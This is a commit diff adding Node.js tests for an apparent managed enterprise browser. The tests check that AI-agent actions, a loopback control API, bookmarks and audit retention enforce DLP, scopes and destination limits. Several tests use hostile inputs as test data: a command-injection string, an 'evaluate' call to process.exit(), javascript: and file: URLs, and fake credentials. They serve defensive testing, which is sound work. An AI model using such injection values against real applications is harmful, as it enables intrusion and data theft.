first commit
This commit is contained in:
commit
ff482ebe23
251 files changed
+19126
No files matched your search
@@ -0,0 +1,174 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import vm from 'node:vm';
|
||||
import {createRequire} from 'node:module';
|
||||
import {inspect as inspectPolicy} from '../packages/core/policy.mjs';
|
||||
import {AgentsSchema} from '../packages/core/security.mjs';
|
||||
const {createAgentAdapters}=createRequire(import.meta.url)('../apps/browser/agent-adapters.cjs');
|
||||
function fixture(overrides={}) {
|
||||
let url='https://work.example/',version=1,script,generation=0;
|
||||
const context={ready:true,policy:{version:1,dlp:{rules:[{id:'corporate',kind:'literal'}]},agents:{enabled:true,allowSensitiveRead:false,allowedHosts:[],scopes:['sessions','read','click','type','navigate','ai']}},destinationAllowed:()=>true,webContents:{getURL:()=>url,executeJavaScript:async code=>{script=code;return {text:'Public material',completed:true};}}};
|
||||
const id='71911cdc-a390-4e73-a604-d98d05fd52a5';
|
||||
const capture=sessionId=>sessionId!==undefined && sessionId!==id?null:{...context,sessionId:id,foreground:true,policyVersion:version,token:{generation,version,url}};
|
||||
const callbacks={getContext:capture,getSessions:()=>[{id,title:'Managed session',foreground:true}],contextCurrent:token=>token.generation===generation&&token.version===version&&token.url===url,navigate:async target=>{url=target;generation++;return capture(id);},ai:async()=>({text:'Helpful answer',token:'secret'}),inspect:async()=>({decision:'allow'}),audit:async()=>{},...overrides};
|
||||
return {actions:createAgentAdapters(callbacks),context,id,setVersion:n=>version=n,setUrl:value=>{url=value;generation++;},invalidate:()=>generation++,getScript:()=>script};
|
||||
}
|
||||
test('managed session metadata and outputs never include credentials',async()=>{
|
||||
const {actions,id}=fixture();
|
||||
assert.deepEqual(await actions.sessions(),[{id,title:'Managed session',foreground:true}]);
|
||||
assert.deepEqual(await actions.read({}),{text:'Public material'});
|
||||
assert.deepEqual(await actions.ai({prompt:'Hello'}),{text:'Helpful answer'});
|
||||
await assert.rejects(actions.read({sessionId:'other'}),/unavailable|Unknown/);
|
||||
});
|
||||
test('policy changes, navigation races and cancellation suppress read results',async()=>{
|
||||
for(const mutation of ['policy','url','abort']) {
|
||||
const controller=new AbortController();const f=fixture();
|
||||
f.context.webContents.executeJavaScript=async()=>{if(mutation==='policy')f.setVersion(2);if(mutation==='url')f.setUrl('https://evil.example/');if(mutation==='abort')controller.abort();return{text:'safe'};};
|
||||
await assert.rejects(f.actions.read({}, {signal:controller.signal}));
|
||||
}
|
||||
});
|
||||
test('inspection blocks sensitive reads; explicit read approval never overrides secret detection',async()=>{
|
||||
const f=fixture({inspect:async()=>({decision:'block',ruleId:'corporate'})});
|
||||
await assert.rejects(f.actions.read({}),/Company policy/);
|
||||
f.context.policy.agents.allowSensitiveRead=true;
|
||||
assert.equal((await f.actions.read({})).text,'Public material');
|
||||
f.context.webContents.executeJavaScript=async()=>({text:'password=hunter22'});
|
||||
await assert.rejects(f.actions.read({}),/Sensitive/);
|
||||
});
|
||||
test('fixed script excludes form content, hidden text and attributes',async()=>{
|
||||
const f=fixture();await f.actions.read({});
|
||||
const element=(excluded=false,hidden=false)=>({closest:selector=>selector.includes('input,textarea')&&excluded?{}:null,getAttribute:()=>null,parentElement:null,getClientRects:()=>hidden?[]:[{}]});
|
||||
const nodes=[{parentElement:element(),textContent:'Visible company text'},{parentElement:element(true),textContent:'Form secret'},{parentElement:element(false,true),textContent:'Hidden secret'}];
|
||||
let index=0;
|
||||
const result=vm.runInNewContext(f.getScript(),{location:{href:'https://work.example/'},document:{body:{},createTreeWalker:()=>({nextNode:()=>nodes[index++]})},NodeFilter:{SHOW_TEXT:4},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'})});
|
||||
assert.equal(result.text,'Visible company text');
|
||||
});
|
||||
test('typing script rejects password targets and treats text as data',async()=>{
|
||||
const f=fixture();await f.actions.type({selector:'#prompt',text:'";process.exit();//'});
|
||||
const node={type:'password',tagName:'INPUT',parentElement:null,getAttribute:()=>null,closest:()=>null,getClientRects:()=>[{}]};
|
||||
assert.throws(()=>vm.runInNewContext(f.getScript(),{location:{href:'https://work.example/'},document:{body:{},querySelector:()=>node},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'})}),/sensitive/);
|
||||
await assert.rejects(f.actions.type({selector:'input:has(*)',text:'x'}),/Invalid selector/);
|
||||
});
|
||||
test('navigate permits managed destination change but refuses non-web schemes',async()=>{
|
||||
const f=fixture();assert.deepEqual(await f.actions.navigate({url:'https://allowed.example/'}),{completed:true});
|
||||
await assert.rejects(f.actions.navigate({url:'file:///secret'}),/Destination/);
|
||||
});
|
||||
test('encoded built-in secrets and scanner failures never permit sensitive-read override',async()=>{
|
||||
for (const verdict of [{decision:'block',ruleId:'api-secret'},{decision:'block',ruleId:'uninspectable'},{decision:'block',ruleId:'size-limit'},{decision:'block',ruleId:'corporate',engine:'yara'},{decision:'block',ruleId:'corporate',malware:{decision:'block'}},{decision:'block',ruleId:'corporate',coverage:{complete:false}},{decision:'block',ruleId:'unknown'}]) {
|
||||
const f=fixture({inspect:async()=>verdict});f.context.policy.agents.allowSensitiveRead=true;
|
||||
f.context.webContents.executeJavaScript=async()=>({text:'sk%2D'+'a'.repeat(25)});
|
||||
await assert.rejects(f.actions.read({}),/Company policy/);
|
||||
}
|
||||
});
|
||||
test('real core percent-decoded credential verdict is preserved',async()=>{
|
||||
const policy={version:1,dlp:{maxBytes:10000,rules:[]},security:{content:{blockedPhrases:[]}}};
|
||||
const f=fixture({inspect:async text=>inspectPolicy(Buffer.from(text),policy)});
|
||||
f.context.policy.agents.allowSensitiveRead=true;
|
||||
const text='sk%2D'+'a'.repeat(25);f.context.webContents.executeJavaScript=async()=>({text});
|
||||
assert.equal(inspectPolicy(Buffer.from(text),policy).ruleId,'api-secret');
|
||||
await assert.rejects(f.actions.read({}),/Company policy/);
|
||||
});
|
||||
test('scopes and agent hosts rechecked before and after asynchronous operations',async()=>{
|
||||
const f=fixture();f.context.policy.agents.allowedHosts=['work.example'];
|
||||
f.setUrl('https://other.example/');await assert.rejects(f.actions.read({}),/Agent destination/);
|
||||
f.setUrl('https://work.example/');f.context.policy.agents.scopes=['sessions'];
|
||||
await assert.rejects(f.actions.read({}),/Agent scope/);
|
||||
f.context.policy.agents.scopes=['read'];
|
||||
f.context.webContents.executeJavaScript=async()=>{f.context.policy.agents.scopes=[];return{text:'safe'};};
|
||||
await assert.rejects(f.actions.read({}),/Agent scope/);
|
||||
});
|
||||
test('fixed DOM script rejects document replacement before any click side effect',async()=>{
|
||||
const f=fixture();await f.actions.click({selector:'#submit'});let selected=false;
|
||||
assert.throws(()=>vm.runInNewContext(f.getScript(),{location:{href:'https://other.example/'},document:{querySelector:()=>{selected=true;}}}),/Document changed/);
|
||||
assert.equal(selected,false);
|
||||
});
|
||||
|
||||
test('same-URL reload, close and switch-away-and-back invalidate captured reads and AI',async()=>{
|
||||
for(const action of ['read','ai']) {
|
||||
for(const race of ['reload','close','switch']) {
|
||||
const f=fixture();
|
||||
const mutate=()=>{f.invalidate();if(race==='close')f.context.webContents.isDestroyed=()=>true;};
|
||||
if(action==='read')f.context.webContents.executeJavaScript=async()=>{mutate();return{text:'Public material'};};
|
||||
else {
|
||||
const g=fixture({ai:async()=>{g.invalidate();if(race==='close')g.context.webContents.isDestroyed=()=>true;return{text:'Public material'};}});
|
||||
await assert.rejects(g.actions.ai({prompt:'Hello'}),/changed|unavailable/);continue;
|
||||
}
|
||||
await assert.rejects(f.actions.read({}),/changed|unavailable/);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('navigation cannot complete against another native identity or changed policy',async()=>{
|
||||
for(const kind of ['identity','policy']) {
|
||||
const f=fixture({navigate:async target=>{
|
||||
f.setUrl(target);
|
||||
return {...f.context,sessionId:f.id,token:{},policyVersion:kind==='policy'?2:1,webContents:kind==='identity'?{}:f.context.webContents};
|
||||
}});
|
||||
await assert.rejects(f.actions.navigate({url:'https://work.example/next'}),/changed/);
|
||||
}
|
||||
});
|
||||
|
||||
test('inspection itself cannot outlive the captured tab generation',async()=>{
|
||||
const f=fixture({inspect:async()=>{f.invalidate();return{decision:'allow'};}});
|
||||
await assert.rejects(f.actions.read({sessionId:f.id}),/changed/);
|
||||
});
|
||||
|
||||
test('session inventory and navigation work on the start page',async()=>{
|
||||
const f=fixture();f.setUrl('about:blank');
|
||||
assert.equal((await f.actions.sessions())[0].id,f.id);
|
||||
assert.deepEqual(await f.actions.navigate({url:'https://work.example/'}),{completed:true});
|
||||
f.context.policy.agents.scopes=[];
|
||||
await assert.rejects(f.actions.sessions(),/unavailable/);
|
||||
});
|
||||
|
||||
test('an omitted ID captures foreground once instead of following later foreground changes',async()=>{
|
||||
const f=fixture();const calls=[];let foreground=f.id;
|
||||
const actions=createAgentAdapters({
|
||||
getContext:id=>{calls.push(id);return {ready:true,sessionId:id??foreground,foreground:true,token:{},policyVersion:1,policy:f.context.policy,webContents:f.context.webContents,destinationAllowed:()=>true};},
|
||||
getSessions:()=>[],contextCurrent:()=>true,navigate:async()=>{},ai:async()=>{},inspect:async()=>({decision:'allow'}),audit:async()=>{}
|
||||
});
|
||||
f.context.webContents.executeJavaScript=async()=>{foreground='8dc41a3d-c46e-4c35-ae4a-98cfcb3a3553';return{text:'Public material'};};
|
||||
await actions.read({});
|
||||
assert.deepEqual(calls,[undefined,f.id,f.id]);
|
||||
});
|
||||
|
||||
test('background interactions fail before page code runs',async()=>{
|
||||
const f=fixture();let executed=false;
|
||||
const actions=createAgentAdapters({getContext:()=>({...f.context,sessionId:f.id,token:{},foreground:false}),getSessions:()=>[],contextCurrent:()=>true,navigate:async()=>{},ai:async()=>{},inspect:async()=>({decision:'allow'}),audit:async()=>{}});
|
||||
f.context.webContents.executeJavaScript=async()=>{executed=true;return{completed:true};};
|
||||
await assert.rejects(actions.click({selector:'#submit'}),/unavailable/);
|
||||
await assert.rejects(actions.type({selector:'#prompt',text:'test'}),/unavailable/);
|
||||
assert.equal(executed,false);
|
||||
});
|
||||
|
||||
test('app controls require explicit new scopes and preserve typed trusted callback arguments',async()=>{
|
||||
let called=0;
|
||||
const f=fixture({appControls:{'settings:update':async args=>{called++;assert.deepEqual(args,{appearance:{mode:'dark'}});return{visible:true,appearance:args.appearance};}}});
|
||||
await assert.rejects(f.actions['settings:update']({appearance:{mode:'dark'}}),/scope/);
|
||||
assert.equal(called,0);f.context.policy.agents.scopes.push('settings:update');f.setUrl('about:blank');
|
||||
assert.equal((await f.actions['settings:update']({appearance:{mode:'dark'}})).appearance.mode,'dark');
|
||||
assert.equal(called,1);
|
||||
});
|
||||
|
||||
test('app result is withheld after policy change and bookmark metadata must pass DLP',async()=>{
|
||||
const f=fixture({appControls:{'settings:get':async()=>{f.setVersion(2);return{visible:true};}}});
|
||||
f.context.policy.agents.scopes.push('settings:get');await assert.rejects(f.actions['settings:get']({}),/changed/);
|
||||
const g=fixture({appControls:{'bookmarks:list':async()=>({managed:[{title:'password=hunter22',url:'https://example.test/',folder:''}],personal:{items:[]}})}});
|
||||
g.context.policy.agents.scopes.push('bookmarks:list');await assert.rejects(g.actions['bookmarks:list']({}),/Sensitive/);
|
||||
const h=fixture({inspect:async()=>({decision:'block'}),appControls:{'bookmarks:list':async()=>({managed:[{title:'Confidential program',url:'https://example.test/',folder:''}],personal:{items:[]}})}});
|
||||
h.context.policy.agents.scopes.push('bookmarks:list');await assert.rejects(h.actions['bookmarks:list']({}),/Company policy/);
|
||||
});
|
||||
|
||||
test('agent tab creation cannot bypass approved destination hosts',async()=>{
|
||||
let called=false;const f=fixture({appControls:{'tabs:create':async()=>{called=true;return{completed:true};}}});
|
||||
f.context.policy.agents.scopes.push('tabs:create');f.context.policy.agents.allowedHosts=['work.example'];
|
||||
await assert.rejects(f.actions['tabs:create']({url:'https://other.example/'}),/destination/);
|
||||
assert.equal(called,false);
|
||||
});
|
||||
|
||||
test('whole-application policy capabilities are opt-in and unknown scopes are rejected',()=>{
|
||||
assert.deepEqual(AgentsSchema.parse({enabled:true}).scopes,['sessions']);
|
||||
const scopes=['application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group'];
|
||||
assert.deepEqual(AgentsSchema.parse({enabled:true,scopes}).scopes,scopes);
|
||||
assert.throws(()=>AgentsSchema.parse({enabled:true,scopes:['policy:override']}));
|
||||
});
|
||||
@@ -0,0 +1,96 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { createRequire } from 'node:module';
|
||||
const { startAgentControl } = createRequire(import.meta.url)('../apps/browser/agent-control.cjs');
|
||||
async function fixture(t, overrides = {}) {
|
||||
const calls = [], events = [];
|
||||
const api = await startAgentControl({ authorize: async ({scope}) => ({allowed:true, role:'agent',scopes:[scope]}), actions: {sessions:async()=>[{id:'work',title:'Work',cookies:'secret'}], navigate:async args=>{calls.push(args);return{};}, read:async()=>({text:'sanitized',password:'secret'}),type:async()=>({}),click:async()=>({}),ai:async()=>({text:'answer'})},audit:async event=>events.push(event),...overrides });
|
||||
t.after(()=>api.close());
|
||||
const request = (action,args={},headers={})=>fetch(`${api.address}/v1/actions`,{method:'POST',headers:{'Content-Type':'application/json',Authorization:`Bearer ${api.token}`,...headers},body:JSON.stringify({action,args})});
|
||||
return {api, request,calls,events};
|
||||
}
|
||||
test('loopback capability authenticates and strips private adapter fields',async t=>{
|
||||
const {request,calls,events}=await fixture(t);
|
||||
assert.equal((await request('sessions',{}, {Authorization:'Bearer wrong'})).status,401);
|
||||
assert.deepEqual(await (await request('sessions')).json(),{result:[{id:'work',title:'Work'}]});
|
||||
assert.deepEqual(await (await request('read',{sessionId:'work'})).json(),{result:{text:'sanitized'}});
|
||||
assert.equal((await request('navigate',{sessionId:'work',url:'https://example.com'})).status,200);
|
||||
assert.equal(calls.length,1); assert.ok(events.some(e=>e.outcome==='authorized'));
|
||||
});
|
||||
|
||||
test('omitted session remains omitted and native inventory exposes only approved foreground metadata',async t=>{
|
||||
let captured;
|
||||
const {request}=await fixture(t,{actions:{sessions:async()=>[{id:'71911cdc-a390-4e73-a604-d98d05fd52a5',title:'Work',foreground:true,cookies:'secret'}],read:async args=>{captured=args;return{text:'safe'};}}});
|
||||
assert.equal((await request('read')).status,200);
|
||||
assert.equal(Object.hasOwn(captured,'sessionId'),false);
|
||||
assert.deepEqual((await (await request('sessions')).json()).result,[{id:'71911cdc-a390-4e73-a604-d98d05fd52a5',title:'Work',foreground:true}]);
|
||||
});
|
||||
|
||||
test('typed app actions reject arbitrary settings and project only public application metadata',async t=>{
|
||||
const calls=[];
|
||||
const {request}=await fixture(t,{actions:{'application:state':async()=>({ready:true,policyVersion:2,activeTabId:'tab',tabCount:2,token:'credential',server:'private'}),'settings:update':async args=>{calls.push(args);return{visible:true,appearance:args.appearance};},'tabs:create':async args=>{calls.push(args);return{completed:true,sessionId:'new-tab',token:'credential'};}}});
|
||||
assert.deepEqual((await(await request('application:state')).json()).result,{ready:true,policyVersion:2,activeTabId:'tab',tabCount:2});
|
||||
assert.equal((await request('settings:update',{appearance:{allowDevTools:true}})).status,400);
|
||||
assert.equal((await request('settings:update',{appearance:{mode:'dark'}})).status,200);
|
||||
assert.equal((await request('tabs:create',{url:'file:///C:/secret'})).status,400);
|
||||
assert.equal((await request('tabs:create',{url:'https://user:[email protected]/'})).status,400);
|
||||
assert.equal((await request('tabs:activate',{})).status,400);
|
||||
assert.deepEqual((await(await request('tabs:create',{group:'Work',url:'https://example.test/'})).json()).result,{completed:true,sessionId:'new-tab'});
|
||||
assert.equal(calls.length,2);
|
||||
});
|
||||
|
||||
test('bookmark mutation schema requires exact revision and rejects extra capability arguments',async t=>{
|
||||
let captured;
|
||||
const {request}=await fixture(t,{actions:{'bookmarks:mutate':async args=>{captured=args;return{completed:true};}}});
|
||||
const args={action:'add',expectedRevision:0,policyVersion:1,bookmark:{id:'personal',title:'Intranet',url:'https://intranet.example/',folder:'Work'}};
|
||||
assert.equal((await request('bookmarks:mutate',args)).status,200);
|
||||
assert.equal((await request('bookmarks:mutate',{...args,expectedRevision:-1})).status,400);
|
||||
assert.equal((await request('bookmarks:mutate',{...args,approve:true})).status,400);
|
||||
assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...args.bookmark,managed:true}})).status,400);
|
||||
const {folder,...withoutFolder}=args.bookmark;
|
||||
assert.equal((await request('bookmarks:mutate',{...args,bookmark:withoutFolder})).status,200);
|
||||
assert.equal(captured.bookmark.folder,'');
|
||||
assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...withoutFolder,folder:123}})).status,400);
|
||||
assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...withoutFolder,folder:null}})).status,400);
|
||||
assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...withoutFolder,folder:'Work\nSecrets'}})).status,400);
|
||||
});
|
||||
test('scope and role are centrally authorized on every action',async t=>{
|
||||
const {request,calls}=await fixture(t,{authorize:async()=>({allowed:true,role:'agent',scopes:['sessions:list']})});
|
||||
assert.equal((await request('navigate',{sessionId:'work',url:'https://example.com'})).status,403);
|
||||
assert.equal(calls.length,0);
|
||||
});
|
||||
test('rejects browser origins, execution and unsafe navigation',async t=>{
|
||||
const {request}=await fixture(t);
|
||||
assert.equal((await request('sessions',{}, {Origin:'https://evil.example'})).status,403);
|
||||
assert.equal((await request('evaluate',{code:'process.exit()'})).status,400);
|
||||
assert.equal((await request('navigate',{sessionId:'work',url:'file:///C:/secret'})).status,400);
|
||||
assert.equal((await request('navigate',{sessionId:'work',url:'https://user:[email protected]'})).status,400);
|
||||
assert.equal((await request('read',{sessionId:'work',cookies:true})).status,400);
|
||||
});
|
||||
test('revocation immediately disables capability and policy denial changes live',async t=>{
|
||||
let allowed=true;
|
||||
const {api,request}=await fixture(t,{authorize:async({scope})=>({allowed,role:'agent',scopes:[scope]})});
|
||||
assert.equal((await request('sessions')).status,200); allowed=false;
|
||||
assert.equal((await request('sessions')).status,403); api.revoke();
|
||||
assert.equal((await request('sessions')).status,401);
|
||||
});
|
||||
test('timeouts abort adapter and rate limit prevents repeated actions',async t=>{
|
||||
let signal;
|
||||
const {request}=await fixture(t,{timeoutMs:20,maxRequestsPerMinute:1,actions:{read:async(_,context)=>{signal=context.signal;await new Promise(resolve=>setTimeout(resolve,100));return{text:'late'};}}});
|
||||
assert.equal((await request('read',{sessionId:'work'})).status,504);assert.equal(signal.aborted,true);
|
||||
assert.equal((await request('read',{sessionId:'work'})).status,429);
|
||||
});
|
||||
test('audit outage fails closed before adapter execution',async t=>{
|
||||
const {request,calls}=await fixture(t,{audit:async()=>{throw Error('offline');}});
|
||||
assert.equal((await request('navigate',{sessionId:'work',url:'https://example.com'})).status,500);
|
||||
assert.equal(calls.length,0);
|
||||
});
|
||||
test('trusted diagnostics report known static reasons and suppress arbitrary sensitive messages',async t=>{
|
||||
const diagnostics=[];
|
||||
const {request}=await fixture(t,{onError:async value=>diagnostics.push(value),actions:{read:async()=>{throw Error('Company policy blocks content access');},type:async()=>{throw Error('password=do-not-log-this');}}});
|
||||
assert.equal((await request('read')).status,500);
|
||||
assert.equal((await request('type',{selector:'#field',text:'public'})).status,500);
|
||||
assert.equal(diagnostics[0].reason,'Company policy blocks content access');
|
||||
assert.equal(diagnostics[1].reason,'unclassified-action-failure');
|
||||
assert.equal(JSON.stringify(diagnostics).includes('do-not-log-this'),false);
|
||||
});
|
||||
@@ -0,0 +1,39 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {mkdtempSync,rmSync} from 'node:fs';
|
||||
import {tmpdir} from 'node:os';
|
||||
import {join} from 'node:path';
|
||||
import {openStore} from '../apps/server/store.mjs';
|
||||
import {pruneAuditEvents,startAuditRetention} from '../apps/server/audit-retention.mjs';
|
||||
function fixture(t){const directory=mkdtempSync(join(tmpdir(),'safetynet-retention-')),store=openStore(directory);t.after(()=>{store.db.close();rmSync(directory,{recursive:true,force:true});});return store;}
|
||||
const old='2020-01-01T00:00:00.000Z';
|
||||
test('retention preserves pending export, incident evidence and replay deduplication',t=>{
|
||||
const s=fixture(t);s.db.exec('CREATE TABLE IF NOT EXISTS incident_cases(id TEXT PRIMARY KEY,event_id INTEGER REFERENCES events(id))');
|
||||
for(let i=0;i<4;i++)s.event('device','dlp.block',{ruleId:'rule'});
|
||||
s.db.prepare('UPDATE events SET time=?').run(old);
|
||||
s.db.prepare('INSERT INTO incident_cases(id,event_id) VALUES(?,?)').run('case',2);
|
||||
s.db.prepare('INSERT INTO device_events VALUES(?,?)').run('device','replay-id');
|
||||
const p=pruneAuditEvents(s,{days:30,exportedThrough:3});assert.equal(p.eligible,2);assert.equal(s.db.prepare('SELECT count(*) n FROM events').get().n,4);
|
||||
const r=pruneAuditEvents(s,{days:30,exportedThrough:3,dryRun:false});assert.equal(r.eligible,2);
|
||||
assert.deepEqual(s.db.prepare('SELECT id FROM events ORDER BY id').all().map(x=>x.id),[2,4,5]);
|
||||
assert.equal(s.db.prepare('SELECT count(*) n FROM device_events').get().n,1);
|
||||
assert.equal(s.db.prepare('SELECT kind FROM events WHERE id=5').get().kind,'audit.retention-applied');
|
||||
});
|
||||
test('batch and SIEM boundaries never orphan a Sigma correlation',t=>{
|
||||
const s=fixture(t),p=s.get('policy');p.security.sigma.rules=[{id:'r',title:'Rule',level:'high',detection:{selection:{kind:'dlp.block'},condition:'selection'}}];s.put('policy',p);s.event('d','dlp.block',{});s.db.prepare('UPDATE events SET time=?').run(old);
|
||||
assert.equal(pruneAuditEvents(s,{days:30,limit:1,exportedThrough:2,dryRun:false}).eligible,0);
|
||||
assert.equal(pruneAuditEvents(s,{days:30,exportedThrough:1,dryRun:false}).eligible,0);
|
||||
assert.equal(pruneAuditEvents(s,{days:30,exportedThrough:2,dryRun:false}).eligible,2);
|
||||
assert.equal(s.db.prepare('SELECT count(*) n FROM alerts').get().n,0);
|
||||
});
|
||||
test('missing cursor fails closed and retention requires explicit deployment opt-in',t=>{
|
||||
const s=fixture(t);s.event(null,'policy.published',{});s.db.prepare('UPDATE events SET time=?').run(old);
|
||||
assert.throws(()=>pruneAuditEvents(s,{days:30}),/cursor/);
|
||||
const off=startAuditRetention(s,{status:()=>({cursor:1})});off.run();assert.equal(off.status().enabled,false);assert.equal(s.db.prepare('SELECT count(*) n FROM events').get().n,1);off.stop();
|
||||
});
|
||||
test('failed deletion rolls back the whole retention operation',t=>{
|
||||
const s=fixture(t);s.event(null,'policy.published',{});s.db.prepare('UPDATE events SET time=?').run(old);
|
||||
s.db.exec("CREATE TRIGGER retention_reject BEFORE INSERT ON events WHEN NEW.kind='audit.retention-applied' BEGIN SELECT RAISE(ABORT,'fixture'); END");
|
||||
assert.throws(()=>pruneAuditEvents(s,{days:30,exportedThrough:1,dryRun:false}),/fixture/);
|
||||
assert.equal(s.db.prepare('SELECT count(*) n FROM events').get().n,1);
|
||||
});
|
||||
@@ -0,0 +1,13 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import bookmarks from '../apps/browser/bookmarks.cjs';
|
||||
import settings from '../apps/browser/managed-settings.cjs';
|
||||
const fixture=()=>{const policy={version:3,expiresAt:new Date(Date.now()+60000).toISOString(),browser:{settings:{visible:true,hiddenSections:[],lockedSections:[]},bookmarks:{managed:[{id:'company',title:'Company',url:'https://intranet.example/',folder:''}],allowUserAdd:true,allowUserEdit:true,allowUserDelete:true,personal:{revision:2,items:[{id:'mine',title:'Mine',url:'https://example.com/',folder:''}]}}}};return {policy,ready:true,settings:settings.settingsState({policy,ready:true}),destinationAllowed:url=>new URL(url).hostname==='example.com'};};
|
||||
const add=()=>({action:'add',expectedRevision:2,policyVersion:3,bookmark:{id:'new',title:' Example ',url:'https://example.com/',folder:''}});
|
||||
test('bookmark mutation binds signed policy and personal revision',()=>{const context=fixture();assert.equal(bookmarks.validateMutation(add(),context).bookmark.title,'Example');for(const input of [{...add(),policyVersion:2},{...add(),expectedRevision:1}])assert.throws(()=>bookmarks.validateMutation(input,context));});
|
||||
test('managed bookmark ids cannot be changed through direct native calls',()=>{for(const action of ['add','update','delete']){const input={...add(),action,id:'company',bookmark:{...add().bookmark,id:'company'}};assert.throws(()=>bookmarks.validateMutation(input,fixture()),/Company bookmarks/);}});
|
||||
test('independent add edit delete permissions are enforced natively',()=>{for(const [action,permission] of [['add','allowUserAdd'],['update','allowUserEdit'],['delete','allowUserDelete']]){const context=fixture();context.policy.browser.bookmarks[permission]=false;assert.throws(()=>bookmarks.validateMutation({...add(),action,id:'mine',bookmark:{...add().bookmark,id:'mine'}},context),/administrator/);}});
|
||||
test('hidden locked expired and paused settings reject native mutations',()=>{for(const mode of ['hidden','locked','expired','paused']){const context=fixture();if(mode==='hidden')context.settings.hiddenSections=['library'];if(mode==='locked')context.settings.lockedSections=['library'];if(mode==='expired')context.policy.expiresAt='2000-01-01';if(mode==='paused')context.ready=false;assert.throws(()=>bookmarks.validateMutation(add(),context));}});
|
||||
test('bookmark URLs cannot bypass destination controls or retain sensitive queries',()=>{for(const url of ['javascript:alert(1)','https://other.example/','https://a:[email protected]/','https://example.com/?token=x','https://example.com/#private'])assert.throws(()=>bookmarks.validateMutation({...add(),bookmark:{...add().bookmark,url}},fixture()));});
|
||||
test('locked library retains company links; hidden library exposes no bookmark metadata',()=>{const context=fixture();context.settings.lockedSections=['library'];assert.equal(bookmarks.bookmarkState(context).managed.length,1);context.settings.hiddenSections=['library'];assert.deepEqual(bookmarks.bookmarkState(context).managed,[]);});
|
||||
test('global settings hiding keeps bookmark navigation readable but forbids changes',()=>{const context=fixture();context.settings.visible=false;const state=bookmarks.bookmarkState(context);assert.equal(state.managed.length,1);assert.equal(state.personal.items.length,1);assert.equal(state.allowUserAdd,false);assert.equal(bookmarks.libraryVisible(context.settings),true);assert.throws(()=>bookmarks.validateMutation(add(),context));context.settings.hiddenSections=['library'];assert.equal(bookmarks.libraryVisible(context.settings),false);assert.deepEqual(bookmarks.bookmarkState(context).personal.items,[]);});
|
||||
@@ -0,0 +1,19 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {mkdtempSync,rmSync} from 'node:fs';
|
||||
import {tmpdir} from 'node:os';
|
||||
import {join} from 'node:path';
|
||||
import {randomUUID} from 'node:crypto';
|
||||
import {openStore} from '../apps/server/store.mjs';
|
||||
import {createApp} from '../apps/server/app.mjs';
|
||||
import {BookmarkSchema,BookmarkItemsSchema,verifyBookmarkSnapshot} from '../packages/core/bookmarks.mjs';
|
||||
import {verifyPolicy} from '../packages/core/policy.mjs';
|
||||
async function fixture(t){const dir=mkdtempSync(join(tmpdir(),'bookmark-test-')),store=openStore(dir),adminToken='test-only-admin-token';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});async function api(route,{body,token=adminToken,method=body?'POST':'GET'}={}){const r=await fetch(`http://127.0.0.1:${server.address().port}${route}`,{method,headers:{authorization:`Bearer ${token}`,...(body?{'content-type':'application/json'}:{})},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};}async function enroll(){const code=(await api('/api/admin/enrollments',{body:{user:'public-fixture'}})).body.code;return (await api('/api/device/enroll',{body:{code,name:'Windows fixture',platform:'win32'},token:''})).body;}return {store,api,enroll};}
|
||||
const entry={id:'intranet',title:'Company intranet',url:'https://intranet.example/',folder:'Work'};
|
||||
test('bookmarks reject secrets, executable schemes and duplicate IDs',()=>{for(const url of ['javascript:alert(1)','file:///C:/secret','https://user:[email protected]','https://example.com/?token=secret','https://example.com/#secret'])assert.equal(BookmarkSchema.safeParse({...entry,url}).success,false);assert.equal(BookmarkSchema.parse(entry).url,entry.url);});
|
||||
test('device bookmark changes are isolated, signed, revisioned and do not republish fleet policy',async t=>{const {store,api,enroll}=await fixture(t),a=await enroll(),b=await enroll();const result=await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}});assert.equal(result.status,200);assert.equal(result.body.version,1);const envelope=(await api('/api/device/policy',{token:a.token})).body;assert.equal(verifyPolicy(envelope,a.publicKey).browser.bookmarks.personal.items.length,0);const payload=verifyBookmarkSnapshot(envelope.bookmarks,a.publicKey,{deviceId:a.id,policyVersion:1});assert.deepEqual(payload.items,[entry]);assert.equal(payload.revision,1);assert.equal((await api('/api/device/policy',{token:b.token})).body.bookmarks.payload.items.length,0);assert.throws(()=>verifyBookmarkSnapshot(envelope.bookmarks,a.publicKey,{deviceId:b.id,policyVersion:1}));assert.throws(()=>verifyBookmarkSnapshot(envelope.bookmarks,a.publicKey,{deviceId:a.id,policyVersion:1,minimumRevision:2}));assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'delete',id:entry.id,expectedRevision:0,policyVersion:1}})).status,409);const metadata=store.db.prepare("SELECT metadata FROM events WHERE kind='bookmarks.changed'").get().metadata;assert.ok(!metadata.includes(entry.url));assert.ok(!metadata.includes(entry.title));});
|
||||
